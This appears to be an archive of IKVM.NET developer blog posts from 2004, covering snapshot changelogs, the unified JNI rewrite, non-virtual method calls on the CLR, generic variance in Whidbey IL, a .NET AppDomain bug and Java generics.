The biggest change in this version is that the JNI implementation is now unified. It's completely rewritten in unsafe C# and a tiny bit of C (thanks to Zoltan Varga for porting the C part to Linux). This allows the same code to be used on the Microsoft CLR and on Mono. Porting the Managed C++ to C# was an interesting exercise. Because of the repetitive nature of many of the JNI functions, I really missed the C macros I used in the Managed C++ implementation, but more importantly I found that unsafe C# tries really hard to get in your way. It tries to prevent you from shooting yourself in the foot, but IMO it doesn't really succeed at that, but it does make it really hard to do clever things if you know what you're doing.

I also found some methods missing in System.Runtime.InteropServices.Marshal. There is no memcpy, no way to efficiently allocate unmanaged memory (both CoTaskAllocMem and AllocHGlobal offer functionality or guarantees that you often don't need) and there is no way to turn a delegate into an unmanaged method pointer. I had to add the following C method to convert the delegate an unmanaged method pointer:

JNIEXPORT void* JNICALL ikvm_MarshalDelegate(void* p)
{
    return p;
}

This looks like a no-op, but the P/Invoke marshaler converts the delegate to a pointer to an unmanaged thunk. Unfortunately this functionality is not exposed as a managed API.

Here's what else is new:

  • New unified JNI implementation written mostly in (unsafe) C#. The same JNI implementation now works on Mono and the Microsoft CLR and there is only a tiny bit of platform specific C code (no more Managed C++).
  • Statically compiled code that uses JNI is now portable between different platforms (obviously only if the native library is available on those platforms).
  • Implemented more JNI functionality.
  • Synchronized with GNU Classpath cvs.
  • Fixed Runtime.totalMemory() to return more than Runtime.freeMemory(). Note that the value is still pretty meaningless.
  • Added more validation to BigEndianBinaryReader to better detect invalid class files.
  • Changed ByteCode, NormalizedByteCode and ByteCodeMode enums to be byte based, for efficiency.
  • Separated wide "addressing" modes into ByteCodeModeWide to make the code simpler.
  • Added ByteCodeFlags enum to encode bytecode properties in ByteCodeMetaData.
  • Fixed ByteCodeMetaData encoding for the [ailfd]load/[ailfd]store instructions to support the wide encodings.
  • Made class file parsing eager, to prevent depending on the passed in byte array after ClassLoader.defineClass() returns.
  • Made class file parsing robust against class loaders that to attact the VM by modifying the class file byte array, while it is being parsed.
  • Made many Optimizations to class file parsing.
  • Added more validation to class file parsing.
  • Fixed class file parsing to throw a ClassFormatError when a class loader is trying to redefine java.lang.Object.
  • Implemented class loader namespace support for native libraries.
  • Fixed FieldWrapper.Link() to rethrow exception if linking fails (instead of silently swallowing it).
  • Made the __ static initialization trigger field protected instead of public.
  • Use a more efficient CIL sequence for instanceof instruction.
  • Fixed stupid bug in Double/Float.parse(). It used the local sensitive version of System.Double.Parse().
  • Fixed java.io.System.setErr().

New snapshots: just the binaries and source plus binaries.

Update: I forgot to thank Zoltan Varga for porting the platform specific part of the new JNI implementation to Linux.

8/31/2004 1:55:43 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Friday, August 20, 2004

Non-virtual Method Invocation

In Tuesday's snapshot I finally implemented the CallNonvirtualMethod JNI routines. I've never seen any JNI code that actually uses them, but I obviously needed to implement them at some point.

For those of you unfamiliar with these routines, let me explain them briefly. Normally when you call a virtual method, the runtime type of the instance the method is called on determines the actual method you end up at (so called virtual method dispatch), but these routines allow you to call a base class method as well. So, if you'd use CallNonvirtualObjectMethod on java.lang.Object.toString() on a java.lang.String instance (let's say “foo“), the result you'd get would be java.lang.String@17e809 instead of the string “foo“.

The CLR Reflection API doesn't have the ability to invoke a virtual method non-virtually. Unlike Java however, the CLR does allow the CIL call instruction to be used to call arbitrary methods non-virtually (the Java invokespecial method can only be used to call methods in the same class or in a base class). So the obvious way to implement these routines, would seem to be to dynamically emit some code that calls the requested method non-virtually, but there is problem with this approach, the JNI routines don't enforce accessibility (they allow you to call non-public methods) and the CLR enforces accessibility. I got around this by using RuntimeMethodHandle.GetFunctionPointer() incombination with the CIL calli instruction. This also has the advantage that the dynamically emitted stubs can be reused for methods with the same signature, because the target address isn't baked into the method, but passed in.

Non-orthogonality

While I don't have a very compelling use case for non-virtual method invocation through reflection, based on API orthogonality and completeness a case could be made for it, but more importantly, I think that ECMA/Microsoft should consider changing the CLI spec to allow non-verifiable code to bypass the accessibility checks. Note that the new DynamicMethod in Whidbey already allows accessibility checks to be bypassed (and note also that whoever wrote the doc for DynamicMethod doesn't understand the difference between visibility and accessibility).

The trick of using calli to bypass the accessibility checks doesn't work for virtual method invocation, because there is no way to dynamically and efficiently get the function pointer of a method by applying the virtual method dispatch rules (i.e. there is no dynamic equivalent of the CIL ldvirtftn instruction).

To summarize, here is what I think should be changed:

  • CLR shouldn't bother enforcing accessibility in non-verifiable code.
  • MethodInfo should get a new InvokeNonvirtual method.
  • MethodInfo should get a GetFunctionPointer(object) method that returns the method pointer that results from virtual dispatch.
8/20/2004 9:11:25 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Thursday, August 19, 2004

Article on IKVM

Avik Sengupta wrote an excellent article on IKVM.

8/19/2004 1:33:47 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Tuesday, August 17, 2004

New Snapshot

A new development snapshot. I made many changes (way too many) since the last snapshot. The diff was over 13,000 lines (and I had already checked in part of the changes).

This is an important step towards 1.0, but there is still much to be done.

BTW, Eclipse 3.0 starts up with this version, but that's pretty much it, it doesn't do anything useful yet.

What's New:

  • Changed version numbers to 0.9.* (I'm using a Linux kernel version scheme, even numbers are used for releases, odd numbers are used during development.)
  • Resynchronized with GNU Classpath cvs.
  • Made String.compareTo(Object) redirect to my own implementation instead of System.String.CompareTo (including when the method is invoked through the java.lang.Comparable interface, which is still remapped to System.IComparable).
  • Fixed exception remapping handling of java.lang.ExceptionInInitializer.
  • Added dummy (but safe) implementations of getHostAddress and hostsEqual to ikvmres protocol handler.
  • Removed work around for Classpath serialization bug from Throwable cause serialization. The state of whether the cause was set is now properly serialized.
  • Fixed deserialization of exceptions serialized with pre-1.4 JDKs.
  • Fixed integer overflow bugs in the various argument tests in the String(byte[], ...) constructors.
  • Added missing argument check to String.startsWith(String prefix, int offset).
  • Added -Xbreak option to ikvm, to fire the debugger on startup.
  • Added support for automatically generating build and revision numbers to ikvmc (e.g. -version:0.9.*)
  • Fixed ikvmstub bug that caused invalid max_locals to be set in constructor definitions if the constructor took long or double arguments.
  • Fixed visibility handling of nested types. A public nested type nested inside a non-public type was incorrectly treated as public.
  • Fixed reflection bug. Statically compiled classes had private methods incorrectly reported as final.
  • Fixed method override resolver bug. Having a private final method in a base class with a similar name/signature as a virtual method in the subclass caused a VerifyError (which was presented as a critical failure).
  • Fixed another method override resolver bug. Only interfaces implemented by direct base class were searched, not those implemented by all base classes.
  • Added workaround for deserializing incorrectly serialized java.lang.String objects (strings are supposed to be special cased by serialization, but if you manually construct a serialization stream that contains a TC_OBJECT of class java.lang.String, previously you'd get a weird exception.)
  • Added (untested) implementation of VMAccessController.
  • Fixed small compiler bug. Ldarg/Starg instruction was emitted with int argument, instead of short. This caused two bogus nops in the CIL stream to follow each Ldarg/Starg instruction (in exceptional cases).
  • Fixed Tracer to handle messages without formatting characters.
  • Fixed lame typo in JVM.CompilerClassLoader.EmitRedirect. (Call to Debug.CompareTo(...) instead of System.Diagnostics.Debug.Assert(...)).
  • Added nonvirtualAlternateBody support to map.xml parser.
  • Added nonvirtualAlternateBody to map.xml for java.lang.Object.toString().
  • Added exceptionBlock support to map.xml parser.
  • Added exception handler to map.xml for java.lang.ThreadDeath exception mapping code, to catch ThreadStateException if Thread.Abort is called while it isn't required.
  • Removed unnecessary path name check from FileChannelImpl.open().
  • Removed VMFile.demangle(). Normalization is now part of Classpath java.io.File.
  • Added exception handling to VMFile.isHidden().
  • Added VMFile.toCanonicalForm(). Now used by Classpath java.io.File.getCanonicalPath().
  • Added protection domain support to VMClass.createClass().
  • Removed VMClass.loadBootstrapClass().
  • Removed unused deprecated version of VMClassLoader.defineClass().
  • Added bootstrap classloader resource support to VMClassLoader.
  • Implemented VMClassLoader.getSystemClassLoader() in VMClassLoader. The system classloader is now always available, not just if the application was started with ikvm.exe.
  • Added app.config appSettings support to VMRuntime.insertSystemProperties(). Java properties can now be specified in your .NET application .config file:
    <appSettings>
       <add key="ikvm:<propertyname>" value="<propertyvalue>" />
    </appSettings>
  • In VMThread, removed cleanupDataStoreSlot static and always do lookup of the LocalDataStoreSlot by name, to handle scenario where the IKVM main thread is the first one to lookup the LocalDataStoreSlot (and previously that would cause the static initializer of VMThread to fail, because AllocateNamedDataSlot would fail, as the name was already in use).
  • Fixed Field.checkAccess() when caller is a global method.
  • Removed ExtClassLoader and AppClassLoader from starter.cs (ikvm.exe).
  • Added hack to set the priority of the ikvmdump.exe writing thread to AboveNormal, to deal with a spinning thread in Eclipse on shutdown.
  • Don't add CLASSPATH to java.class.path is the -jar option is specified.
  • Removed support for DLLs in the bootclasspath.
  • Fixed exception handling compilation options for IKVM.JNI.CLR-Win32 in clr-win32.build.
  • Major rewrite of local and global ref support in Win32 JNI provider.
  • Implemented most of the remaining JNI functions in Win32 JNI provider.
  • Fixed class file parser to disallow native constructors.
  • Rewrote class loading and method/field linking in ClassFile.cs.
  • Fixed most of the thread safety issues in class loading/reflection.
  • The runtime no longer throws Java exceptions, instead it throws its own exception, which are converted to Java exceptions at the runtime/Java boundaries. This makes ikvmc compilation of Classpath more robust (previously, if an exception required by the runtime was missing, it would often result in infinite recursion).
  • Simplified MethodDescriptor. It is now only a name/signature tuple.
  • MethodWrapper now uses virtual methods instead of delegates to emit call/callvirt/newobj sequences.
  • Major rewrite of method resolving/linking and MethodWrapper infrastructure. Loader constraints are now properly enforced and LinkageErrors are thrown in the right places at the right times.
  • Renamed HideFromReflectionAttribute to HideFromJavaAttribute and made the semantics consistent. It now means that the method is totally invisible from Java (either through reflection or statically). The new MirandaMethodAttribute signals that a method is invisible from reflection, but callable by Java byte code.
  • Added new NameSigAttribute that is used to recover the original method name or signature when a method name is mangled or when a signature is changed in such a way that at runtime the original signature cannot be reconstructed anymore.
  • Fixed TypeWrapper.IsInSamePackage() to understand that a package with the same name but in different assemblies, really isn't the same package.
  • Fixed ininst instruction in map.xml. Now works the same for Java and .NET types.

I'm sure I forgot many changes/fixes. This change set was just too large. I promise to check in more frequently in future :-)

New snapshots: just the binaries and source plus binaries.

8/17/2004 11:08:03 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, August 16, 2004

JavaScript on IKVM

Phil blogs about running Rhino on IKVM on Mono.

8/16/2004 5:26:15 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Tuesday, August 10, 2004

Whidbey, Generics, Co- and contravariance

I came across an interesting Whidbey beta 1 CLR feature today. As far as I can tell this hasn't been documented anywhere yet, but the Whidbey beta 1 CLR supports covariant and contravariant generic type parameters.

This is a really interesting feature. If C# would support it (at the moment it doesn't), you'd be able to do something like this:

interface IReader<T>
{
  T Get(); 
}
interface IWriter<T>
{
  void Put(T t);
}
class Test<T> : IReader<T>, IWriter<T>
{
  T t;
  public T Get() { return t; }
  public void Put(T t) { this.t = t; }
}
class Driver
{
  static void Main()
  {
    Test<string> t1 = new Test<string>();
    t1.Put("covariance");
    IReader<object> rdr = t1;
    Console.WriteLine(rdr.Get());
    Test<object> t2 = new Test<object>();
    IWriter<string> wrtr = t1;
    wrtr.Put("contravariance");
    Console.WriteLine(t2.Get());
  }
}

Notice that in the first highlighted line we're assigning an object reference that implements IReader<string> to a local variable of type IReader<object>. This is covariance and it is type safe because the IReader<T> interface only returns T. In the second highlighted line we assign a reference that implements IWriter<object> to a local of type IWriter<string>, this is contravariance and this is also type safe, because IWriter<T> only accept arguments of type T.

Unfortunately, C# doesn't yet seem to support this feature, but if we manually write the IL, it'll run on the Whidbey beta 1 CLR (and it is fully verifiable):

.assembly extern mscorlib {}
.assembly test {}

.class interface public abstract
      'IReader`1'<+([mscorlib]System.Object) T>
{
  .method public abstract instance
          !T Get() cil managed {}
}

.class interface public abstract
      'IWriter`1'<-([mscorlib]System.Object) T>
{
  .method public abstract instance
          void Put(!T t) cil managed {}
}

.class public 'Test`1'<([mscorlib]System.Object) T>
      extends [mscorlib]System.Object
      implements class 'IReader`1'<!T>,
                 class 'IWriter`1'<!T>
{
  .field private !T v

  .method public virtual instance
          !T Get() cil managed
  {
    ldarg.0
    ldfld !0 class 'Test`1'<!T>::v
    ret
  }

  .method public virtual instance
          void Put(!T t) cil managed
  {
    ldarg.0
    ldarg.1
    stfld !0 class 'Test`1'<!T>::v
    ret
  }

  .method public specialname rtspecialname
          instance void .ctor() cil managed
  {
    ldarg.0
    call instance void [mscorlib]System.Object::.ctor()
    ret
  }
}

.method static void Main(string[] args) cil managed
{
  .entrypoint
  .locals init ([0] class 'Test`1'<string> t1,
                [1] class 'IReader`1'<object> rdr,
                [2] class 'Test`1'<object> t2,
                [3] class 'IWriter`1'<string> wrtr)

  newobj instance void class 'Test`1'<string>::.ctor()
  stloc.0
  ldloc.0
  ldstr "covariance"
  callvirt instance void class 'Test`1'<string>::Put(!0)
  ldloc.0
  stloc.1
  ldloc.1
  callvirt instance !0 class 'IReader`1'<object>::Get()
  call void [mscorlib]System.Console::WriteLine(object)

  newobj instance void class 'Test`1'<object>::.ctor()
  stloc.2
  ldloc.2
  stloc.3
  ldloc.3
  ldstr "contravariance"
  callvirt instance void class 'IWriter`1'<string>::Put(!0)
  ldloc.2
  callvirt instance !0 class 'IReader`1'<object>::Get()
  call void [mscorlib]System.Console::WriteLine(object)
  ret
}
 

Notice the plus and minus signs in the interface declarations to signal that a generic type parameter is covariant or contravariant.

8/10/2004 4:03:46 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [6]

Wednesday, June 30, 2004

Mono 1.0

Congratulations to the Mono team with the release of 1.0!

6/30/2004 7:03:12 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Finally a Real Web Site

Many thanks to Brian J. Sletten and Stephen Schaub for building the new IKVM.NET web site. I will continue to write this blog, but from now on instructions, documentation and howto articles will appear on the new site (in addition to the excellent content that is already there), where they'll have a more permanent home than here on the blog.

Update: The samples made by Brian and Stephen are available for download on SourceForge now as well.

6/30/2004 2:34:50 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Monday, June 28, 2004

Release Candidate 1

I changed the version number on all assemblies (except for IKVM.GNU.Classpath) to 0.8.0.0 and tagged the cvs tree with v0_8_0_0 and put the files up on the SourceForge download site: Source and binaries or just binaries.

Unless any last minute showstopper bugs are found, this will be the version shipped with Mono 1.0.

Other changes:

  • IKVM.Runtime.dll, IKVM.GNU.Classpath.dll, IKVM.JNI.CLR-Win32.dll and IKVM.JNI.Mono.dll are now signed to enable putting them in the GAC.
  • Fixed java.lang.Object method invocation through ghost interface references.
  • Changed JNI provider loading to use LoadWithPartialName, to support loading the JNI provider from the GAC.
6/28/2004 2:07:22 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Friday, June 25, 2004

Yet Another Snapshot

More fixes...

Changes:

  • Fixed bug in String.indexOf(int), String.lastIndexOf(int), String.indexOf(int, int) and String.lastIndexOf(int, int). When a character outside of the valid character range was passed, it was truncated to a character instead of returning -1.
  • Changed VMThread.holdsLock implementation to use Monitor.Pulse instead of Monitor.Wait to check for monitor ownership. This can cause spurious wakeups from Object.wait(), but according to the new JDK 1.5 memory model that is allowed, and it has always been good coding practice to guard against spurious wakeups. Thanks to Dalibor Topic for researching this issue.
  • Fixed reflection to properly check accessibility for protected instance fields and methods.
  • Partially implemented JNI method JavaVM::AttachCurrentThread (only on Windows). It only supports "attaching" a thread that already is a Java thread. This was required for the latest SWT 3.0 versions .
  • Fixed bug in handling of ghost and value return types for statically compiled code. Among possible other problems, this caused String.subSequence to behave oddly.
  • Improved support for reflection on .NET enums. The (fake) Value field and wrap() method are now available through Java reflection.
  • Added name mangling for enums that happen to contain a Value value.
  • Added a few try/finally blocks for Profiler.Enter/Leave calls in compiler.cs.
  • Added profiler counter for inserted interface down casts.
  • Added bge_un, ble_un, ldc_i4 and ldc_i4_m1 opcodes to remapper.cs.
  • Fixed a verifier bug in merging value type array types.
  • Removed optimization from verifier related to interface type merging. The optimization reduced the number of downcasts that had to be inserted in the code, but it turned out that ECMA interface type merging rules didn't allow this optimization.
  • Fixed integer overflow bugs in String.regionMatches() and String.lastIndexOf(String, int).
  • Fixed bug in array type visibility for array types constructed from statically compiled (or .NET) nested types.

New snapshots: just the binaries and source plus binaries.

6/25/2004 4:14:06 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Sunday, June 20, 2004

A Couple More Fixes

A new snapshot with a few small fixes and bigger fix to support serialization of Throwable. Since java.lang.Throwable is a remapped type, it's fields don't really exist and therefor didn't get serialized (and I had totally failed to realise this). It turned out to be easy to add serialization support (compatible with Sun's serialization of Throwable) by using the (previously unknown to me) feature of serialization to manually do serialization in a way that is compatible with the default serialization implementation.

Changes:

  • Fixed ikvm.exe regression that caused it to fail to invoke main on package private classes. (Caused by reflection fix in the previous snapshot).
  • Added (small) hack to reflection invoke to support deserialization of java.lang.Throwable (and subclasses).
  • Fixed (de)serialization of java.lang.Throwable.
  • Fixed small bug in Throwable.initCause(). Previously, if an exception was constructed and null was passed as the cause, you could later on use initCause() to change the cause.
  • Added ldlen opcode to remapper.cs
  • Fixed String.copyValueOf(char[]) to throw NullPointerException if array is null.
  • Fixed String(char[]) constructor to throw NullPointerException if array is null.
  • Fixed recently introduced reflection regression that (sometimes) causes NullPointerException when getting a method's declared exceptions. This mostly showed up running ikvmstub.

New snapshots: just the binaries and source plus binaries.

6/20/2004 11:04:29 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Monday, June 14, 2004

Another Snapshot

A new snapshot for inclusion in Mono Beta 3.

Changes:

  • Added box/unbox methods to ikvm.lang.CIL for all primitive types.
  • Added conversion methods for unsigned CLI primitive types to ikvm.lang.CIL.
  • Changed FileChannelImpl to call stream.WriteByte, which is now possible because of the new unsigned primitive support in ikvm.lang.CIL.
  • Rewrote a large part of reflective method invocation to fix all known issues. Reflection on remapped types now works as well as full support for ghost types (both in calling methods through ghost interfaces, as well as passing or returning ghost references).
  • Added support for a few more opcodes to remapper.cs.
  • Added error handling for unsupported elements in remapping file (map.xml).
  • Fixed reflection to take visibility of class into account.
  • Fixed class file validation rules to ignored strictfp on abstract methods (according to the VM spec it isn't allowed for an abstract method to be strictfp, but javac is broken and sets the strictfp modifier for abstract method too and Sun's JVM obviously doesn't enforce this part of the spec).
  • Fixed JNI AllocObject to work correctly for java.lang.Object and java.lang.Throwable.

New snapshots: just the binaries and source plus binaries.

6/14/2004 8:12:18 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, June 09, 2004

AppDomains, Domain Neutral Assemblies and a Framework Bug

I came across an nasty bug in the Microsoft .NET Framework 1.1 today.

Here is a program that reproduces the problem:

using System;
using System.Reflection;

class Class1
{
  [LoaderOptimization(LoaderOptimization.MultiDomain)]
  static void Main(string[] args)
  {
    if(AppDomain.CurrentDomain.FriendlyName != "My 2nd Domain")
    {
      AppDomain dom = AppDomain.CreateDomain("My 2nd Domain");
      dom.ExecuteAssembly(Assembly.GetEntryAssembly().Location);
    }
    Console.WriteLine(AppDomain.CurrentDomain.FriendlyName);
    Console.WriteLine(typeof(Class1).TypeHandle.Value);
    new System.Data.RowNotInTableException();
    foreach(Assembly a in AppDomain.CurrentDomain.GetAssemblies())
    {
      Console.WriteLine(a.FullName);
    }
  }
}

In the 2nd AppDomain (the first one that prints), the list of assemblies doesn't contain System.Data, even though it clearly is present in the AppDomain, after all, the new System.Data.RowNotInTableException() was just executed.

The problem only occurs when assemblies are shared across AppDomains (this is what the [LoaderOptimization(LoaderOptimization.MultiDomain)] attribute does). Comment out that line and the program works as expected.

I think that this effectively means that IKVM cannot be used inside of ASP.NET, which, I believe, always loads assemblies domain neutral.

In the May 2004 Community Technology Preview of Visual Studio 2005, the bug is fixed and the above program performs as expected.

6/9/2004 4:33:52 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Eclipse

Ultratoto14 asks (in the comments):

I tried to launch eclipse M8 and M9 with the latest binaries. It does not run.

I saw that the on april 15 you successfully started it.

Is there something special to do or is the latest bin cannot be used ?

Thanks in advance.

M8 runs, but M9 doesn't. For M8 to run, you do need to add the xalan and xerces jars to the bootclasspath (wrapped for readability):

eclipse -vm c:\ikvm\bin\ikvm.exe
          -vmargs
          -Xbootclasspath:C:\xalan-j_2_6_0\bin\xalan.jar;
                         C:\xalan-j_2_6_0\bin\xercesImpl.jar;
                         C:\xalan-j_2_6_0\bin\xml-apis.jar

Note that this is on Windows. I haven't tried running Eclipse on Mono/Linux.

6/9/2004 12:13:50 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Monday, June 07, 2004

New Snapshot

I made a new snapshot with a couple of small fixes, but this is mainly to update the version of SharpZipLib to 0.6, because this is the version that the Mono Beta 2 ships with.

Here's what's new:

  • Verifier fix. Calling a method on an unloadable class could cause assertion to be fired.
  • Fixed ikvmc to tolerate multiple definitions of the same class (classes that have the same name as a class that was already processed are ignored now, with a warning instead of aborting compilation with a fatal error). I ran into a jar that contained multiple entries for the same class!
  • Compiled with 0.6 version of SharpZipLib to be compatible with the version shipped with Mono Beta 2.
  • Removed the IKVM runtime version number from the JavaModuleAttribute, because I realised the same information is available by using Assembly.GetReferencedAssemblies().
  • Fixed ikvmstub to print help message instead of crash, if invoked without argument.
  • Fixed ikvmstub.csproj (Visual Studio .NET project file) to generate ikvmstub.exe, instead of netexp.exe.
  • Fixed the bytecode compiler to emit verifiable code when it is compiling invalid code (e.g. code that produces NoSuchFieldError or IllegalAccessError). This was the last know issue, all non-JNI using code generated by ikvmc should now be verifiable. If you encounter unverifiable code, please let me know.

New snapshots: just the binaries and source plus binaries.

6/7/2004 3:03:16 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Tuesday, June 01, 2004

Compatibility List

On the ikvm-developers list, Kevin Gilpin suggested to create a list of Java applications and libraries that are compatible with IKVM. This is a great idea. Brian Sletten, who is working on the documentation, offered to collect the list.

So, if you have successfully (or unsuccessfully) run or used any Java application or library (open source or proprietary), please let us know, so it can be added to the list.

In addition to the name and version of the application or library, please supply the following information (not required, but it would be nice, if you have it available):

  • Version of IKVM you used.
  • Do you want your name and/or e-mail address in the list?
  • .NET runtime version used (e.g. MS .NET 1.1 or Mono 0.91).
  • Operating System version (e.g. Windows XP or Debian 3.0).
  • Whether you used the application/library in static (ikvmc.exe) or dynamic mode (ikvm.exe), or in a mixed scenario.
  • Any build issues you encountered.
  • Any other compatibility issues you encountered.

Please send your feedback to me or Brian, or leave a comment to this post.

Update: In the comments, Jamie Cansdale asks for unit test results for the application or library. That's a good point. If they are available please report the unit test results as well. The JUnit 3.8.1 command line test runner should work with IKVM (at least for the samples tests run successfully, apart from three failures that result from JUnit trying to use Runtime.exec() to start java.exe).

6/1/2004 10:23:07 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [4]

Thursday, May 27, 2004

Painful Changes

I renamed the assemblies and also took the opportunity to change the directory structure and Visual Studio project names accordingly. This is quite a painful process and also loses the cvs history for all the moved files (at least, I couldn't find any way of moving files in cvs, other than add/remove).

Hopefully this will be the only time I have to make these changes. Breaking all build scripts and what have you, isn't fun.

Note: To build this version, you require either Jikes 1.19 or 1.21.

Here's what's new:

  • Changed all assembly versions to 0.7.* (except for the IKVM.GNU.Classpath assembly, that now has version 0.9, to indicate the GNU Classpath version)
  • Removed the StackTraceInfo attribute (wasn't supported by the stack trace code anymore).
  • Made ExceptionHelper (in ExceptionHelper.cs) private.
  • Changed ThrowsAttribute to take a string array instead of a single string (to support reporting the throws clause in declaration order).
  • Changed ImplementsAttribute to take a string array instead of a single Type (to support reporting the implemented interfaces in declaration order).
  • Made handling of InnerClasses attribute more robust (this applies to ikvmc only, the dynamic runtime ignores this attribute).
  • Made the op_Implicit method that is added to classes that implement ghost interfaces hidden from reflection.
  • Added MethodAttributes.CheckAccessOnOverride to virtual method definitions, to prevent package private methods from being overridden in another assembly.
  • Fixed reflection on sealed .NET types to also add public method for private interface implementations.
  • Added a version string to the JavaModuleAttribute, to record the IKVM runtime version that was used to generate the module.
  • Removed unused NativeCode.java.io.File class.
  • Removed unused NativeCode.java.nio.channels.FileChannelImpl class.
  • Fixed a bug in the exception untangling code and cleaned the code up a bit.
  • Fixed FileChannelImpl to catch System.NotSupportedException and rethrow a FileNotFoundException.
  • Added explicit call to Environment.Exit to ikvmc to workaround background threads starting up due to static initializers running (due to .NET Framework reflection bug).
  • Fixed ikvmc regression that caused ArgumentException when compiling a bunch of classes with a wildcard expression.
  • Added dummy ftp protocol handler to work around Classpath bug (when it sees a file: url with a host, it treats it as an ftp url, but since the ftp protocol doesn't exist, the code gets stuck in an infinite loop).

New snapshots: just the binaries and source plus binaries.

5/27/2004 3:27:23 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Monday, May 10, 2004

Generics Again

I have a hard time truly understanding the Java generics model. I understand the implementation and I think it's a hack and this is probably making it harder for me to see the design objectively.

After looking at the recent JDK 1.5 beta, there was one method that particularly puzzled me:

public T cast(Object obj)

In java.lang.Class. Why would you need a method to dynamically cast? If you understand how generics work under the covers, you know that T is actually java.lang.Object, so calling this cast method doesn't actually buy you anything (the compiler will insert a real cast after your call).

Before diving in, if your knowledge of how Java generics work under the covers is a bit rusty, I recommend reading the paper on GJ: Making the future safe for the past: Adding Genericity to the Java Programming Language. While I was re-reading it, a few things jumped out: "Adding generics to an existing language is almost routine.." In fact, it's so easy that today in 2004 we still don't have generics in Java, even though the design was already done in 1998. Another quote: "GJ comes with a cast-iron guarantee: no cast inserted by the compiler will ever fail. (Caveat: this guarantee is void if the compiler generates an 'unchecked' warning, which may occur if legacy and parametric code is mixed without benefit of retrofitting.)" Please note that the caveat applies when you use one of the principal features of GJ: "GJ contains a novel language feature, raw types, to capture the correspondence between generic and legacy types, and a retrofitting mechanism to allow generic types to be imposed on legacy code."

Another interesting paper (that is referenced in the GJ paper as NextGen), is Compatible Genericity with Run-time Types for the Java TM Programming Language.

Anyway, let's look at some code and try to figure out what the purpose of the new cast method is:

Class<String> c = String.class;;
String s = c.cast("foo");;

This is compiled as:

ldc_w java/lang/String
astore_1
aload_1
ldc "foo"
invokevirtual java/lang/Class cast(Ljava/lang/Object;)Ljava/lang/Object;
checkcast java/lang/String
astore_2

Note in particular the checkcast that I highlighted. This is inserted by the compiler and is key to how Java generics work. Presumably the Class.cast() method also checks that the passed in object is actually castable to the type, so effectively you get two casts for the price of one (or rather, you pay twice for the same cast).

Why would you want (or need) that? The answer became clear (?) to me when I was contrasting the Java generics with the .NET generics model.

Let's look at some more code (C# 2.0 this time):

T LameFactory<T>() where T : new()
{
  return new T();
}

This method generically constructs instances. It's not relevant to my point, but it is interesting to note that the C# compiler uses reflection under the covers to implement this. Most C# generics constructs are actually supported by the CLR, but instantation isn't. The compiler generates something like this:

T LameFactory<T>()
{
  // If T is a Value Type, we don't need
  // to use Activator.CreateInstance.
  if((object)T.default != null)
  {
    return T.default;
  }
  return (T)Activator.CreateInstance(typeof(T));
}

How would you do something similar in Java? Here's how:

T LameFactory(Class<T> factory)
{
  return factory.newInstance();
}

In essence, what you're doing here is the same as what the CLR is doing under the covers (passing an extra parameter with the type information, at least conceptually). Class.newInstance returns an appropriately typed reference, because Class is a generic type. Suppose it hadn't returned the appropriate type, but simply Object like in the good old days. You could have used Class.cast() to the the downcast instead! Admittedly this isn't the greatest example for explaining the existence of Class.cast(), but I do understand now that it provides real functionality that would have been impossible to (safely) get in any order way. Note that the obvious:

T LameFactory(Class factory)
{
  Object o = factory.newInstance();
  return (T)o;
}

Isn't the right answer. When compiling this, the compiler rightfully warns: Note: cast.java uses unchecked or unsafe operations. The cast is unsafe, because it dissolves at compile time. Note that this doesn't break type safety (in the VM/security sense), because the caller of LameFactory will have inserted its own cast to T, but it does (allow you to) break compile time type safety. If you value compile time type safety, it's a good idea to stay away from code that generates this warning.

5/10/2004 12:07:15 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [4]

Friday, May 07, 2004

Assembly Names

To clean up the assembly names, I propose to change to the following names for the next snapshot:

Current Name New Name
awt.dll IKVM.AWT.WinForms.dll
classpath.dll IKVM.GNU.Classpath.dll
ik.vm.jni.dll IKVM.JNI.CLR-Win32.dll
ik.vm.net.dll IKVM.Runtime.dll
ikvm.exe ikvm.exe
ikvmc.exe ikvmc.exe
Mono.IKVM.JNI.dll IKVM.JNI.Mono.dll
netexp.exe ikvmstub.exe
OpenSystem.Java.dll (will be removed)


I'm removing OpenSystem.Java.dll for the time being, because interop with dotGNU hasn't really happened so far and at this point it's just pre-mature design for reuse. Hopefully, in the future when they continue their work on Java support we can work together to make the two systems interoperable.

Any comments on the assembly names?

[Update: Stuart makes a good point in the comments. I've changed the suggested new name of netexp to ikvmstub.exe]

5/7/2004 3:52:52 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Wednesday, May 05, 2004

Mono Beta 1

The Mono Beta 1 was released today and I've prepared a new snapshot that works with this version to test interoperability.

What's new?

  • Fixed ik.vm.jni.build to create output directory.
  • Added Profiler.Count calls to ByteCodeHelper.cs for dynamic helper methods.
  • Fixed TypeWrapper.IsSamePackage to handle case where one type is array and other isn't.
  • Fixed bug introduced in last snapshot in bytecode compiler, that caused NullReferenceException if exception block starts on an unreachable instructions.
  • Added exception handling to VMRuntime.exec.
  • Added -Xwait option to ikvm, to keep the process hanging around (this is just a hack so I can look at the console window that contains the profiling statistics and trace messages after Eclipse has exited).
  • Fixed ikvmc to ignore Main-Class attribute when building a library.
  • Implemented JNI methods AllocObject and ReleasePrimitiveArrayCritical (on Windows JNI provider only).
  • Fixed resource loading from -Xbootclasspath.
  • Fixed a minor bug in remapped type handling.
  • Changed map.xml format to support future metadata annotations (thanks Stuart!).
  • Fixed handling of final fields in ikvmc.
